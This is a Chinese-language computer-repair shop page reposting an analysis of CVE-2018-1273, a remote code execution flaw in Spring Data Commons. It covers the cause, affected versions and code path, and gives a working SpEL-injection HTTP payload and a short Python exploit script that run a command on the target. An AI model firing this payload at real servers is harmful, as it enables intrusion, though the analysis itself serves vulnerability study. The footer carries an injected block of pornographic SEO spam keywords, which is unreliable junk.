錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務(wù)項目 服務(wù)報價 維修流程 IT外包服務(wù) 服務(wù)器維護(hù) 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù)技術(shù)文章
Spring-data-commons(CVE-2018-1273)漏洞分析

作者: 佚名  日期:2018-06-01 21:01:44   來源: 本站整理

 CVE-2018-1273 是 Spring-data-commons近期爆出的一個可遠(yuǎn)程執(zhí)行代碼的漏洞,為了了解更多細(xì)節(jié),本文將從漏洞的成因,漏洞的判定以及漏洞的利用三個方面來進(jìn)行詳細(xì)說明。
漏洞的成因
當(dāng)用戶在項目中利用了Spring-data的相關(guān)web特性對用戶的輸入?yún)?shù)進(jìn)行自動匹配的時候,會將用戶提交的form表單的key值作為Spel的執(zhí)行內(nèi)容,而這一步就是本次漏洞的爆發(fā)點。
漏洞的判定
確認(rèn)目標(biāo)項目中含有Spring-data-commons包并且版本范圍如下
Spring Data Commons 1.13 to 1.13.10
Spring Data Commons 2.0 to 2.0.5
查看相關(guān)特性是否已經(jīng)開啟
1.@EnableSpringDataWebSupport 被顯示聲明
2.@EnableSpringDataWebSupport 沒有顯示聲明,但采用了spring-boot框架的自動掃描特性 當(dāng)采用Spring-boot的自動掃描特性的時候,在啟動時會自動加載 SpringDataWebConfiguration類效果與上述相同
3.在非注解聲明項目中,如果有如下聲明,也視為開啟了相關(guān)的特性
  class="org.springframework.data.web.config.SpringDataWebConfiguration" />
檢查帶@RequestMapping的接口,方法的參數(shù)為一個自定義的接口(Interface)
滿足如上條件的靶子代碼如下
  @SpringBootApplication
  public class App {
      public static void main(String[] args) {
          SpringApplication.run(App.class);
      }
      @Controller
      public class TestController {
          @RequestMapping("test")
          public void CVEController(TestForm testForm){
              System.out.println(testForm.getName());
          }
      }
      interface TestForm {
          String getName();
      }
  }
漏洞的利用
根據(jù)上述判定出來的漏洞點,我們可以構(gòu)造如下攻擊代碼
1.構(gòu)建一個Http的Post請求2.利用form表單提交的方式來提交我們的key value3.在key的名稱中包含此次攻擊代碼4.提交的key為上文的 getName() 方法的 name5.在name后面補(bǔ)上一段Spel支持的代碼片段,key將變成如 name[T(java.lang.Runtime).getRuntime().exec("calc")]
最終playload如下
POST /test HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
name%5BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%5D=v
用python寫的簡單腳本如下
import http.client, urllib.parse
command = "calc.exe"
key = 'name[T(java.lang.Runtime).getRuntime().exec("%s")]' % command
params = urllib.parse.urlencode({key: 'v'})
headers = {"Content-type": "application/x-www-form-urlencoded"}
conn = http.client.HTTPConnection(host="localhost",port=8080)
conn.request("POST", "/test", params, headers)
conn.close()
總而言之當(dāng)滿足漏洞條件時,只需要發(fā)送一個特定的key就可以了
Spring-data-commons漏洞被執(zhí)行的流程
本次漏洞的成因,主要在于Spring在自動解析用戶的參數(shù)的時候采用了 SpelExpressionParser 來解析propertyName
MapDataBinder.java 169行
  Expression expression = PARSER.parseExpression(propertyName);
  PropertyPath leafProperty = getPropertyPath(propertyName).getLeafProperty();
  TypeInformation owningType = leafProperty.getOwningType();
  TypeInformation propertyType = owningType.getProperty(leafProperty.getSegment());
  propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
  if (conversionRequired(value, propertyType.getType())) {
    PropertyDescriptor descriptor = BeanUtils
        .getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
    MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
    TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
    value = conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
  }
  expression.setValue(context, value);
那么這個MapMapDataBinder是怎么被調(diào)用起來的呢,我們簡要地說一下 SpringMVC在解析參數(shù)這個部分
SpringDataWebConfiguration 類的特性被啟用的時候,會將 ProxyingHandlerMethodArgumentResolver 注冊到容器中去
當(dāng)SpringMVC得到一個請求的時候,會遍歷容器中注冊的 HandlerMethodArgumentResolver 調(diào)用他們的supportsParameter方法。由于我們的參數(shù)是一個Interface(接口),那么 ProxyingHandlerMethodArgumentResolver 就會告訴調(diào)用方,它支持這個參數(shù)的解析即 supportsParameter 會返回true,但在實際中還會有多個判斷比如該接口不能是java包下的,也不能是org.springframework包下的
ProxyingHandlerMethodArgumentResolver在拿到參數(shù)的時候會創(chuàng)建一個MapDataBinder來解析參數(shù)MapDataBinder.bind()方法,會連帶進(jìn)行doBind操作,最終會調(diào)用到 setPropertyValue 方法來,最后在 expression.setValue(context, value) 的時候觸發(fā)了漏洞



熱門文章
  • 機(jī)械革命S1 PRO-02 開機(jī)不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機(jī)SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡(luò)請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機(jī)始終停留在開機(jī)界面...
  • 常見打印機(jī)清零步驟
  • 安裝驅(qū)動時提示不包含數(shù)字簽名的解...
  • 共享打印機(jī)需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機(jī)的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護(hù),上門維修電腦,黑屏藍(lán)屏死機(jī)故障排除,無線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    主站蜘蛛池模板: 98久久人妻无码精品系列蜜桃 | 18禁免费无码无遮挡不卡网站| 亚洲色无码专区在线观看| 深夜a级毛片免费无码| 亚洲av无码一区二区三区网站| 亚洲国产成人无码AV在线影院 | 国产久热精品无码激情| 久久久久亚洲AV无码专区桃色| 无码人妻精品一区二区三区夜夜嗨| 亚洲av永久无码精品网址| 亚洲AV综合色区无码一区爱AV| 久久亚洲中文字幕无码| 亚洲AV永久纯肉无码精品动漫| 无码熟妇人妻av| 无码人妻久久一区二区三区免费| 无码少妇一区二区浪潮av| 亚洲日韩国产AV无码无码精品| 无码中文字幕av免费放dvd| 东京热人妻无码人av| 无翼乌工口肉肉无遮挡无码18| 亚洲AV永久无码天堂影院 | 精品国精品无码自拍自在线| 亚洲AV综合色区无码一区| 真人无码作爱免费视频| 无码人妻精品一二三区免费| 69ZXX少妇内射无码| 色欲A∨无码蜜臀AV免费播| 国产在线无码视频一区二区三区 | 无码一区二区三区亚洲人妻| 亚洲性无码一区二区三区| 久久久久久无码Av成人影院| 久久精品中文字幕无码| 国产成人精品无码播放| 日韩av无码免费播放| 大桥久未无码吹潮在线观看| 亚洲中文字幕无码一区| 亚洲AV永久纯肉无码精品动漫 | 国产精品无码v在线观看| 人妻少妇乱子伦无码专区| 亚洲男人在线无码视频| 亚洲欧洲美洲无码精品VA|